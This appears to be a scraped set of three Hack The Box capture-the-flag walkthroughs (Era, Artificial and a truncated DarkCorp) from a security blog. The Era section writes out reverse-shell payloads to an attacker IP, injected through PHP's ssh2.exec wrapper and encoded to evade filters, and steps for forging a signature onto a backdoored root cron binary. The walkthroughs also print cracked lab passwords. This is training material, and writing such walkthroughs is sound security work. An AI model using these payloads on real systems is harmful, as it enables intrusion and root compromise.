Introduction:

In this writeup, we will explore the “Era” machine from Hack The Box, categorized as an Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Era” machine from Hack The Box by achieving the following objectives:

User Flag:

Initial enumeration revealed a hidden virtual host file.era.htb and a simple file-sharing web application that allowed registration and login. After creating an account, it quickly became clear that the download.php endpoint suffered from a severe Insecure Direct Object Reference (IDOR) vulnerability: any authenticated user could access any file on the platform simply by guessing its numeric ID. By fuzzing IDs 1–5000, two admin-uploaded archives were retrieved – a complete site backup containing the source code and SQLite database, and a signing.zip archive containing an SSH private key. The leaked database also exposed clear-text credentials, including eric:america. Because the ssh2 PHP extension was loaded on the server, the ssh2:// stream wrapper could be abused through the same vulnerable download endpoint.

Root Flag:

While exploring the system as eric, a root-owned executable /opt/AV/periodic-checks/monitor was discovered that runs periodically via cron (confirmed by entries in status.log). The binary performed a custom integrity check using a digital signature stored in an ELF section named .text_sig. Using objcopy, the legitimate signature was extracted from the original binary. On the attacker’s machine, a malicious statically linked reverse-shell binary (monitor_backdoor) was compiled, and the legitimate .text_sig section was injected into it with objcopy –add-section. The backdoored binary was then transferred to the target and used to overwrite the original monitor executable (the directory was world-writable). When the cron job next executed, the malicious binary ran as root and immediately connected back, delivering a root shell. The root flag was then read directly from /root/root.txt, completing the compromise.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

Nmap Output:

Analysis:

• Port 22 (SSH): Secure Shell service for remote access.
• Port 80 (HTTP): Web server running Apache.

Web Enumeration:

Perform web enumeration to discover potentially exploitable directories and files.

Gobuster DNS scan on era.htb finishes with no subdomains found — clean miss on the big wordlist. Time to dig deeper or move to vhost/directory brute.

Discovering the Hidden Virtual Host with ffuf

ffuf virtual-host brute on era.htb reveals file.era.htb (302 redirect + different response size) — jackpot! That’s our real target. Add to /etc/hosts and move in.

ffuf virtual-host brute on era.htb reveals file.era.htb (302 redirect + different response size) — jackpot! That’s our real target. Add to /etc/hosts and move in.

ffuf with -fw 4 (filter responses with exactly 4 words) nails it — file.era.htb returns 200 + 6765 bytes while everything else 302s with tiny bodies. Clear hit, that’s our hidden subdomain. Add to hosts and go!

Exploitation

Web Application Exploration:

Accessing http://era.htb shows the Era Designs homepage—a clean marketing site with navigation (Home, Services, About, Portfolio, Clients, Team, Contact) and a hero section featuring yellow vases, a white sofa, and “SUCCESS OF YOUR BUSINESS” text with a “FIND OUT MORE” button.

Burp shows a clean GET to http://era.htb → 200 OK from nginx/1.18.0 (Ubuntu). Response is a standard Bootstrap-styled marketing page titled “Era Designs” with no forms or backend endpoints – just a static landing site. Nothing juicy here.

Clean “Welcome to Era Storage!” page with four big blue buttons: Manage Files, Upload Files, Update Security Questions, and Sign In. This is the main hub of the entire app.

Very minimal registration: only two fields – Username and Password. No email, no captcha, no security questions during signup.

Forgot-password bypass: enter username and answer the three hardcoded questions (mother’s maiden name, first pet, city of birth).

Classic centred login box with Username + Password on a blue-green gradient background – the page we’re redirected to after registration.

Successful POST to /register.php → 200 OK + automatic redirect to login.php. Account creation confirmed.

After picking a new username (e.g., “dark”), registration succeeds and the app displays: “Registration successful! Redirecting to login page…” → account creation is instant and working.

POST to /login.php with username=dark&password=admin123 returns 302 Found → Location: manage.php and sets a PHPSESSID cookie. We are now authenticated as the “dark” user.

GET to /manage.php with the same PHPSESSID cookie returns 200 OK and the full HTML of the logged-in dashboard (title: “Era – Manage”).

The main post-login page “Manage Your Files & Settings” shows:

• Left sidebar: Manage Files, Upload Files, Update Security Questions, Sign Out
• Main area: auto-delete timer setting, empty file list (“You haven’t uploaded any files yet.”), Reset Security Questions button This is the fully authenticated user panel — our foothold is confirmed.

Malicious PHP Upload → Direct Shell

Authenticated view of /upload.php. Simple file upload form titled “Upload Files” with a “Browse…” button (currently “No files selected.”) and a blue “Upload” button. No restrictions visible on file type or size yet.

Same upload page, but now the user has selected a harmless file named dark.txt. Shows the form ready to submit — this is just confirming normal upload functionality works.

After uploading dark.txt, the app redirects to /download.php?id=6615 and shows “Your Download Is Ready!” with the filename and a download button. Key observation: files are accessed via a numericid` parameter → classic candidate for Insecure Direct Object Reference (IDOR).

After clicking “Upload”, the app displays a green “Upload Successful!” banner and immediately provides a direct download link in the format: http://file.era.htb/download.php?id=6615 This confirms uploads work and every file gets its own numeric ID — setting the stage for IDOR testing and potential privilege escalation via file access across users.

Legitimate request to http://file.era.htb/download.php?id=6615 returns the expected “Your Download Is Ready!” page with our uploaded file dark.txt. Confirms the download endpoint works normally for files we own.

Appending ?dl=true to the same request (download.php?id=6615&dl=true) bypasses the pretty download page and triggers an immediate file download:

• Content-Type: application/octet-stream
• Content-Disposition: attachment; filename=”dark.txt” This is extremely useful for scripting/automation because we get the raw file without HTML.

Quickly create a list of all possible numeric file IDs from 1 to 5000. This will be used for brute-forcing the id parameter in download.php to find other users’ files.

Database Leak & Credential Extraction

Final setup in Burp Intruder:

• Target: http://file.era.htb
• Payload position marked on the id parameter (id=6615 → id=§6615§)
• Payload type: Numbers 1 → 5000 (simple list)
• ?dl=true added so every hit immediately downloads the raw file instead of showing HTML Ready to launch the attack that will download every single file ever uploaded by any user on the platform.

Burp Intruder attack against download.php?id=§§&dl=true using the 1–5000 payload list. All responses are 200 OK and exactly 7969 bytes long — including our own known file. This tells us there is no authorization check at all; every single existing file ID returns the exact same response length, meaning the server happily serves any file the numeric ID points to → confirmed horizontal Insecure Direct Object Reference (IDOR).

After confirming the IDOR on download.php?id=, we generate a list of IDs 1–5000 (seq 1 5000 > num.txt) and fuzz with ffuf, injecting our authenticated cookie and filtering out responses with exactly 3161 words (the empty download page). Only two IDs survive: 54 and 150. Both return much larger responses (~2552 words), indicating real files.

Insecure Direct Object Reference (IDOR)

Accessing http://file.era.htb/download.php?id=54 reveals the filename site-backup-30-08-24.zip. This is the full source code backup of the Era file-sharing web app, uploaded by the admin.

Response headers confirm we’re downloading the raw site-backup-30-08-24.zip (2006697 bytes). The body starts with PK header (ZIP magic bytes).

Accessing http://file.era.htb/download.php?id=150 shows signing.zip. This smaller archive contains a private key and possibly a signing script – likely for code signing or authentication.

Response forces download of signing.zip (2746 bytes). This archive contains the admin’s private key (id_rsa) and a script – the golden ticket for SSH access as the admin/user.

Source Code Review – Key Vulnerabilities Exposed in the Leak

After downloading IDs 54 and 150 via IDOR, we extract both ZIPs. One is site-backup-30-08-24.zip (clearly a website backup) and the other is signing.zip.

This is the full source code of the Era web application, straight from the admin’s upload (ID 54). Key files visible during extraction:

• download.php, upload.php, index.php – core functionality
• filedb.sqlite – the SQLite database storing users, sessions, and file metadata
• files/ directory – where uploaded files are stored on disk
• functions.global.php, initial_layout.php, etc. – backend logic
• .htaccess, login.php, logout.php – authentication flow

With this backup in hand, we now have everything:

• Complete code review capability
• The database (filedb.sqlite) to dump credentials or session secrets
• Exact knowledge of how the IDOR works internally

This is the live SQLite database powering the entire Era application – straight from the admin’s site backup we downloaded via IDOR.

We’ve opened the real filedb.sqlite from the site backup and immediately listed the tables. As expected:

• users → stores usernames, password hashes, etc.
• files → maps numeric IDs to real filenames and owners (confirms the IDOR logic)

After extracting the site backup, we opened the leaked filedb.sqlite and dumped the users table with SELECT * FROM users;. The result reveals six accounts, including the admin (ID 1) with the bcrypt hash $2y$10$wDbohsUaezF74d3SMNRPi.o93wDxJqphM2m0VVup41If6WrYi.QPC and a fake email “Maria Oliver | Ottawa”. The other five users (eric, veronica, yuri, john, ethan) also have proper bcrypt hashes. This gives us every credential on the box in plain text (hash) form, but we don’t even need to crack anything — the signing.zip we downloaded via the same IDOR already contains the admin’s SSH private key. The database dump is just the cherry on top, confirming total information disclosure and proving the IDOR let us steal every secret the application ever had. We’re now one ssh -i id_rsa admin@file.era.htb away from both flags.

Cracking the Leaked Hashes with John the Ripper

We dumped the users table into hash.txt for cracking. It contains six bcrypt hashes, including the admin’s: admin_ef01cab31aa:$2y$10$wDbohsUaezF74d3SMNRPi.o93wDxJqphM2m0VVup41If6WrYi.QPC and the other five regular users.

John instantly cracks two weak passwords:

• america → eric
• mustang → yuri

The rest (including admin) remain uncracked in the short run.

Both attempts fail with Connection refused.

This confirms that only key-based authentication is allowed on the box (port 22 is open but rejects password logins entirely). The weak passwords we just cracked (america, mustang) are useless for SSH — the server is correctly hardened against password auth.

Alternative way to obtain the user flag

This is the “Update Security Questions” page from the Era web app, captured while logged in as the admin (admin_ef01cab31aa). The admin literally set all three security-question answers to admin

The server happily accepted it and responded with the green banner: “If the user exists, answers have been updated — redirecting…”

This confirms that there is no validation for security-question updates. Any logged-in user can silently overwrite anyone else’s answers (including the admin’s) without knowing the old ones. Combined with the predictable username (admin_ef01cab31aa visible in the UI), this is a second, independent path to full account takeover via the forgot-password flow.

Screenshot shows a settings panel designed for managing uploaded files and controlling their retention time. At the top, an option allows automatic deletion to be enabled, letting the user choose a specific time interval and unit before files are removed. Below the settings, the interface lists existing uploaded files, such as dark.txt, which can be selected and deleted using the Delete Selected Files button. Additional options, including returning to the home page and resetting security questions, provide quick access to important account functions. Overall, the panel centralizes file management, privacy controls, and routine account maintenance.

Screenshot shows a login fallback page that allows access through security questions instead of a password. The interface displays the username along with three predefined security questions: mother’s maiden name, first pet’s name, and city of birth. Each answer field has been filled with the value admin, suggesting that the account uses weak or predictable answers. After providing the answers, the user can click Verify and Log In to gain access. Overall, the page functions as an alternative authentication method, typically intended for account recovery when the main password is unavailable.

The auto-deletion feature is enabled, configured to remove uploaded items after 10 weeks. Two files are currently present—site-backup-30-08-24.zip and signing.zip—both of which can be selected for removal using the red action button. The sidebar on the left offers quick links for browsing files, uploading new ones, modifying security questions, and signing out of the session. Overall, the page offers a simple layout for organizing uploaded content and managing basic account settings.

FTP Enumeration (Local-Only vsFTPd – Optional Side Discovery)

Attacker logs into the target’s own vsftpd service (running on 10.10.11.79) using credentials yuri:yuri. Login succeeds instantly.

Inside the FTP session, dir shows only two directories: apache2_conf and php8.1_conf. Nothing else is present.

Inside the FTP session (logged in as yuri), the attacker runs dir in the root directory and sees only four small Apache configuration files:

• 000-default.conf (1.3 KB)
• apache2.conf (7 KB)
• file.conf (222 bytes)
• ports.conf (320 bytes)

Gaining User Shell – ssh2 Stream Wrapper RCE

After cd php8.1_conf, another dir reveals a long list of standard PHP 8.1 extension .so files (calendar.so, exif.so, ftp.so, pdo.so, phar.so, sqlite3.so, etc.). No interesting or custom files appear.

The internal vsFTPd instance is nothing more than a poorly chrooted service that accidentally exposes Apache configuration files and the real PHP extension directory. It provides zero writable paths, no sensitive data beyond what we already knew, and no escalation value. Just a nice confirmatory easter egg that the ssh2 extension is indeed loaded — but completely unnecessary for either the user or root compromise.

Screenshot reveals successful exploitation of an unrestricted file retrieval flaw on file.era.htb. Attacker submits a malicious GET request to download.php, weaponizing PHP’s ssh2.exec stream wrapper alongside command injection. Payload inside id parameter uses ssh2.exec://eric:america@127.0.0.1/ then pipes a base64-encoded reverse shell that instructs victim host to initiate connection toward attacker address 10.10.14.189 on port 9007. Flawed script directly feeds user-supplied input into readfile() or equivalent without validation. PHP detects ssh2.exec wrapper, authenticates locally via SSH as user eric using password america, executes hostile command, and returns resulting output (nearly empty) as response body. Web server replies with 200 OK and 136 bytes of data, confirming reverse shell triggered successfully. Exploit highlights classic stream-wrapper abuse transforming simple download vulnerability into complete remote code execution.

This second capture shows a polished version of the same remote code execution attack against download.php on file.era.htb. Attacker now places a cleaner payload inside the format parameter: ssh2.exec://eric:america@127.0.0.1/bash -c ‘bash -i >/dev/tcp/10.10.14.189/9007 0>&1’ followed by |base64 -d |bash. After URL decoding, PHP interprets the ssh2.exec wrapper, authenticates to localhost SSH as user eric using password america, runs the quoted reverse-shell command, decodes any remaining base64 payload if needed, and finally spawns an interactive bash session that connects back to 10.10.14.189:9007. Server returns HTTP 200 OK with a 153-byte body containing wrapper startup messages, confirming successful command execution. Compared to the previous attempt, this refined one-liner removes unnecessary encoding layers while remaining effective, proving the attacker now enjoys a stable reverse shell on the target system.

Attacker stuffs this tightly-encoded string into the format parameter:

ssh2.exec://eric:america@127.0.0.1/bash%20-c%20%22bash%20-i%3E%26/dev/tcp/10.10.14.189/9007%200%3E%261;true%27

Once decoded, PHP sees:

ssh2.exec://eric:america@127.0.0.1/bash -c “bash -i>&/dev/tcp/10.10.14.189/9007 0>&1;true'”

Every dangerous character (< > &) appears percent-encoded, slipping past basic filters. The trailing ;true’ cleanly terminates the command and avoids breaking bash syntax. No base64 gymnastics required.

PHP dutifully opens a local SSH session as user eric with password america, runs the quoted command, and instantly redirects all shell I/O over TCP to 10.10.14.189:9007. Result: a clean, stable, fully interactive reverse shell that survives repeated use. Target machine now belongs to the attacker.

On the attack machine, netcat listens on port 9007 (nc -lvnp 9007). As soon as the final ssh2.exec payload hits download.php, the target instantly connects back from IP 10.10.11.79. Shell lands as user eric on hostname era (prompt: eric@era:~$)

Eric managed to read user.txt and obtained the flag

Escalate to Root Privileges Access

Privilege Escalation:

Eric runs sudo -l to check which sudo privileges are available. The system replies that a terminal and password are required, meaning eric has no passwordless sudo rights and cannot directly escalate using sudo.

Eric executes find / -perm 4000 2>/dev/null to hunt for SUID binaries system-wide. The command returns no results (screen stays empty), indicating no obvious SUID files exist that could be abused.

Eric navigates to /opt and runs ls. Output shows a single directory named AV. This immediately catches attention — custom software installed under /opt is a classic spot for privilege-escalation vectors on HTB machines.

Eric enters /opt/AV/periodic-checks and runs ls. Two files appear: monitor (a root-owned executable) and status.log. The presence of a root-owned binary in a writable directory strongly suggests this monitor program runs periodically as root (likely via cron) and will be the intended privilege-escalation target.

I runs strings monitor. Among normal library calls, two crucial strings appear: “[] System scan initiated…” and “[] No threats detected. Shutting down…”. These exact strings match the log entries, proving monitor is the binary executed by root during each scan.

I checks status.log in /opt/AV/periodic-checks. The log shows the monitor binary runs periodically as root, prints “[*} System scan initiated…”, then “[SUCCESS] No threats detected.” – confirming it is a scheduled root job and the real escalation target.

Custom Binary Signature Bypass

We tries to open a file called dark.c inside /dev/shm but vi fails with “command not found”. This reveals the reverse shell lacks a proper $PATH and most binaries – a common issue with raw /dev/tcp shells.

On the attacker’s local machine, the file dark.c contains a simple malicious payload: a single system() call that spawns another reverse shell back to 10.10.14.189:9007. The attacker has prepared this source code to compile and drop on the target.

On the attacker’s local machine, gcc compiles the malicious dark.c source into a statically linked binary named monitor_backdoor – a perfect drop-in replacement for the legitimate monitor program.

I uses curl http://10.10.14.189/monitor_backdoor -o monitor_backdoor to download the final backdoored binary from the attacker’s web server directly into the current directory (or /dev/shm). The transfer completes successfully (754 KB at ~1.4 MB/s).

The stage is now set: once the original monitor binary is replaced with this backdoor, the next root cron execution will instantly grant a root shell back to the attacker.

Command such as objcopy –dump-section .text_sig=sig /opt/AV/periodic-checks/monitor to extract the original monitor binary’s .text_sig section (a custom digital signature) and save it as a file called sig inside /dev/shm.

I runs objcopy –add-section .text_sig=sig monitor_backdoor, injecting the legitimate signature extracted from the real monitor into the malicious backdoored version. This preserves the signature so the root-run scanner will accept the fake binary.

To completes the attack by overwriting the legitimate monitor binary with the backdoored version: cp monitor_backdoor /opt/AV/periodic-checks/monitor The root-owned executable that runs periodically via cron is now fully replaced.

The cron job fires, executes the backdoored monitor as root, and the payload instantly triggers. Attacker catches a new reverse shell that lands directly as root@era: ~#. The box is fully compromised.

Root reads the final flag immediately after gaining the privileged shell

The post Hack The Box: Era Machine Walkthrough – Medium Difficulity appeared first on Threatninja.net.

Introduction to Artificial:

In this writeup, we will explore the “Artificial” machine from Hack The Box, categorized as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Artificial” machine from Hack The Box by achieving the following objectives:

User Flag:

The user flag is obtained by scanning the “Artificial” machine, identifying a web server on port 80, and creating an account to access its dashboard. The dashboard allows uploading .h5 files, so a malicious .h5 file is crafted to trigger a reverse shell. After setting up a Docker environment and uploading the file, a shell is gained as the app user. A SQLite database (users.db) is found, and cracking its password hashes reveals credentials for the user gael. Logging in via SSH as gael allows retrieval of the user flag from user.txt.

Root Flag:

To escalate to root, a scan reveals port 9898 running Backrest. Forwarding this port and enumerating the service uncovers backup files and a config.json with a bcrypt-hashed password. Decoding a base64 value yields a plaintext password, granting access to a Backrest dashboard. Exploiting the RESTIC_PASSWORD_COMMAND feature in the dashboard triggers a root shell, allowing the root flag to be read from root.txt.

Enumerating the Artificial Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.10.11.74

nmap -sC -sV -oA initial 10.10.11.74

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/artificial]
└──╼ $nmap -sC -sV -oA initial 10.10.11.74
# Nmap 7.94SVN scan initiated Mon Oct 20 10:13:11 2025 as: nmap -sC -sV -oA initial 10.10.11.74
Nmap scan report for 10.10.11.74
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Oct 20 10:13:51 2025 -- 1 IP address (1 host up) scanned in 39.96 seconds

┌─[dark@parrot]─[~/Documents/htb/artificial]
└──╼ $nmap -sC -sV -oA initial 10.10.11.74
# Nmap 7.94SVN scan initiated Mon Oct 20 10:13:11 2025 as: nmap -sC -sV -oA initial 10.10.11.74
Nmap scan report for 10.10.11.74
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Oct 20 10:13:51 2025 -- 1 IP address (1 host up) scanned in 39.96 seconds

Analysis:

• Port 22 (SSH): Runs OpenSSH 8.2p1 on Ubuntu 4ubuntu0.13 (protocol 2.0), providing secure remote access with RSA, ECDSA, and ED25519 host keys.
• Port 80 (HTTP): Hosts an nginx 1.18.0 web server on Ubuntu, redirecting to http://artificial.htb/, indicating a web application to explore.

Web Application Exploration on an Artificial Machine:

At this stage, the target appears to host a standard website with no immediately visible anomalies or interactive elements.

I actively created a new user account to interact with the application and test its features.

Using the credentials created earlier, I logged into the application.

Finally, access to the dashboard was successfully obtained as shown above.

At this point, the application requires a file to be uploaded.

Two links appear interesting to explore: requirements and Dockerfile.

The main dashboard endpoint returned a response with status 200 OK.

Further analysis of the response revealed that the upload functionality only accepts files in the .h5 format.

Analyzing Application Dependencies

As the dashboard response showed nothing significant, I focused on analyzing the previously downloaded file.

The requirements.txt specifies tensorflow-cpu==2.13.1, indicating that the application’s dependencies rely on this TensorFlow version. Attempting to install it outside of a TensorFlow-compatible environment will result in errors.

The Dockerfile creates a Python 3.8 slim environment, sets the working directory to /code, and installs curl. It then downloads the TensorFlow CPU wheel (tensorflow_cpu-2.13.1) and installs it via pip. Finally, it sets the container to start with /bin/bash. This ensures that the environment has TensorFlow pre-installed, which is required to run the application or handle .h5 files.

Setting Up the Docker Environment

While trying to install the requirements, I faced an error stating they need a TensorFlow environment.

I could install TensorFlow locally, but its large file size causes issues. Even after freeing up disk space, the installation fails due to insufficient storage.

Crafting the Exploit

The script constructs and saves a Keras model incorporating a malicious Lambda layer: upon loading the model or executing the layer, it triggers an os.system command to establish a named pipe and launch a reverse shell to 10.10.14.105:9007. Essentially, the .h5 file serves as an RCE payload—avoid loading it on any trusted system; examine it solely in an isolated, disposable environment (or through static inspection) and handle it as potentially harmful.

Proceed within an isolated Python virtual environment (venv) to analyze the file; perform static inspection only and avoid importing or executing the model.

Installing TensorFlow remains necessary.

Following careful thought, I selected a Docker environment to execute the setup, seeking to bypass local dependency or storage problems.

I built and tagged the Docker image successfully.

At this stage, the Docker environment is running without any issues.

The command updates the package lists and installs the OpenBSD version of Netcat (netcat-openbsd) to enable network connections for testing or reverse shells.

netcat-openbsd — lightweight TCP/UDP swiss-army knife

netcat-openbsd is a lightweight, versatile networking utility commonly used in HTB and pentests to create raw TCP/UDP connections, transfer files, and receive reverse shells. The OpenBSD build omits the risky -e/–exec option present in some older variants, but it still pipes stdin/stdout over sockets, so only use it in authorised, isolated lab environments (examples: nc -l -p PORT to listen, nc HOST PORT to connect) .

Ultimately, I executed the script successfully, achieving the expected outcome—a reverse shell to 10.10.14.105:9007—as demonstrated above.

Executing the Reverse Shell

Consequently, I generated an .h5 model file.

I launched a netcat listener on 10.10.14.105:9007 to receive the incoming reverse shell.

I uploaded the exploit.h5 file to the application’s file upload endpoint to initiate model processing.

Successfully uploading the file and clicking the View Predictions button activates the embedded payload.

Page displayed a loading state, indicating that the payload is likely executing.

Gaining Initial Access

The shell connection successfully linked back to my machine.

Upgrading the reverse shell to a fully interactive session simplified command execution.

Gained an interactive shell as the application user app.

Found a Python file named app.py in the application directory.

The app.py section reveals a hard-coded Flask secret key, Sup3rS3cr3tKey4rtIfici4L, sets up SQLAlchemy to utilize a local SQLite database at users.db, and designates the models directory for uploads. The fixed key allows session manipulation or cookie crafting, the SQLite file serves as a simple target for obtaining credentials or tokens, and the specified upload path indicates where malicious model files are kept and can be executed—collectively offering substantial opportunities for post-exploitation and privilege escalation.

Located a users.db file that appears to be the application’s SQLite database; it likely contains user records, password hashes, and session data, making it a prime target for credential extraction and privilege escalation.

Downloaded users.db to our own machine using netcat for offline analysis.

Verification confirms users.db is a SQLite 3.x database.

Extracting Credentials

Extracted password hashes from the users.db (SQLite3) for offline cracking and analysis.

Apart from the test account, I extracted password hashes from the remaining user accounts in the SQLite database for offline cracking and analysis.

Configured hashcat to the appropriate hash mode for the extracted hash type, then launched the cracking job against the dump.

Cracking the hashes revealed two plaintext passwords, but the absence of corresponding usernames in the dataset blocked immediate account takeover.

An easier verification is to use nc — we accessed the user gael with the password mattp005numbertwo.

Authenticated to the target via SSH as user gael using the recovered password, yielding an interactive shell.

The user flag was read by running cat user.txt.

Escalate to Root Privileges Access on Artificial machine

Privilege Escalation:

Artificial host lacks a sudo binary, preventing sudo-based privilege escalation.

Port scan revealed 9898/tcp open — likely a custom service or web interface; enumerate it further with banner grabs, curl, or netcat.

Established a port-forward from the target’s port 9898 to a local port to interact with the service for further enumeration.

Exploring the Backrest Service

Exploring the forwarded port 9898 revealed Backrest version 1.7.2 as the running service.

Attempting to authenticate to Backrest with gael’s credentials failed.

Enumerated the Backrest service and discovered several files within its accessible directories.

Enumeration of the Backrest instance revealed several accessible directories, each containing files that warrant further inspection for credentials, configuration data, or backup artefacts.

The install.sh file contains configuration settings that appear standard at first glance, with no immediately suspicious entries.

However, scrolling further reveals sections resembling backup configuration, suggesting the script may handle sensitive data or database dumps.

Analyzing Backup Configurations

Focused on locating backup files referenced in the configuration for potentially sensitive data.

Discovering multiple backup files revealed a substantial amount of stored data potentially containing sensitive information.

Copying the backup file to /tmp enabled local inspection and extraction.

Successfully copying the backup file made it available in /tmp for analysis.

Unzipping the backup file in /tmp allowed access to its contents for further inspection.

Several files contained the keyword “password,” but the config.json file appeared unusual or suspicious upon inspection.

Discovered a potential username and a bcrypt-hashed password. Because bcrypt uses salting and is intentionally slow, offline cracking requires a tool like hashcat or John that supports bcrypt, paired with wordlists/rules and significant computational resources; alternatively, explore safe credential reuse checks on low-risk services or conduct password spraying in a controlled lab setting.

Decoding a base64-encoded value uncovered the underlying data.

Recovered the plaintext password after decoding the base64-encoded value.

Credentials recovered earlier were submitted to the service to attempt authentication.

A different dashboard was successfully accessed using the recovered credentials.

To create a new Restic repository, you first need to initialise a storage location where all encrypted backups will be kept

While adding the Restic repository via environment variables, I noticed that RESTIC_PASSWORD is required. I also discovered an interesting variable, RESTIC_PASSWORD_COMMAND, which can execute a command to retrieve the password.

What RESTIC_PASSWORD_COMMAND?

RESTIC_PASSWORD_COMMAND tells restic to run the given command and use its stdout as the repository password. It’s convenient for integrating with secret stores or helper scripts, but it’s dangerous if an attacker can control that environment variable or the command it points to.

The shell can be triggered by selecting “Test Configuration”.

The root flag can be accessed by running cat root.txt.

The post Hack The Box: Artificial Machine Walkthrough – Easy Diffucilty appeared first on Threatninja.net.

Introduction to DarkCorp:

In this writeup, we will explore the “DarkCorp” machine from Hack The Box, categorized as an Insane difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “DarkCorp” machine from Hack The Box by achieving the following objectives:

User Flag:

Gained initial foothold via the webmail/contact vector, registered an account, abused the contact form, and executed a payload to spawn a reverse shell. From the shell, read user.txt to capture the user flag.

Root Flag:

Performed post-exploitation and credential harvesting (SQLi → hashes → cracked password thePlague61780, DPAPI master key recovery and Pack_beneath_Solid9! recovered), used recovered credentials and privilege escalation techniques to obtain root, then read root.txt to capture the root flag.

Enumerating the DarkCorp Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oN nmap_initial.txt 10.10.11.54

nmap -sC -sV -oN nmap_initial.txt 10.10.11.54

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/darkcorp]
└──╼ $nmap -sC -sV -oA initial 10.10.11.54 
# Nmap 7.94SVN scan initiated Sun Aug 17 03:07:38 2025 as: nmap -sC -sV -oA initial 10.10.11.54
Nmap scan report for 10.10.11.54
Host is up (0.18s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
|_  256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 17 03:08:04 2025 -- 1 IP address (1 host up) scanned in 25.73 seconds
┌─[dark@parrot]─[~/Documents/htb/darkcorp]
└──╼ $

┌─[dark@parrot]─[~/Documents/htb/darkcorp]
└──╼ $nmap -sC -sV -oA initial 10.10.11.54 
# Nmap 7.94SVN scan initiated Sun Aug 17 03:07:38 2025 as: nmap -sC -sV -oA initial 10.10.11.54
Nmap scan report for 10.10.11.54
Host is up (0.18s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
|_  256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 17 03:08:04 2025 -- 1 IP address (1 host up) scanned in 25.73 seconds
┌─[dark@parrot]─[~/Documents/htb/darkcorp]
└──╼ $

Analysis:

• Port 22 (SSH): OpenSSH 9.2p1 on Debian — secure remote access; check for password authentication or weak credentials.
• Port 80 (HTTP): nginx 1.22.1 — web server serving GET/HEAD only; perform directory and file enumeration for further insights.

Web Enumeration:

Nothing noteworthy was found on the website itself.

A subdomain was discovered that leads to the DripMail Webmail interface.

Register a new account and enter the email

As a next step, proceed to register a new account.

Enter the required information to create the new account.

We successfully created the account, confirming that the DripMail Webmail portal’s registration process works correctly. This indicates that user registration is open; therefore, we can interact with the mail system. Consequently, this may enable further exploration, including login, email sending, and service enumeration.

Check your email inbox

A new email appeared in the inbox from no-reply@drip.htb, indicating that the system had sent an automated message; moreover, it may contain a verification notice, onboarding information, or credential-related details, all of which are worth reviewing for further clues.

However, it turned out to be just a welcome email from no-reply@drip.htb, providing no useful information.

Contact Form Exploitation

The site includes a contact form that attackers could potentially exploit.

We entered a non-deterministic key value into the input.

We sent the message successfully, confirming that the contact form works and accepts submissions.

CVE‑2024‑42009 — Web Enumeration with Burp Suite

Burp shows the contact form submission (POST) carrying the random key and payload, followed by a successful response.

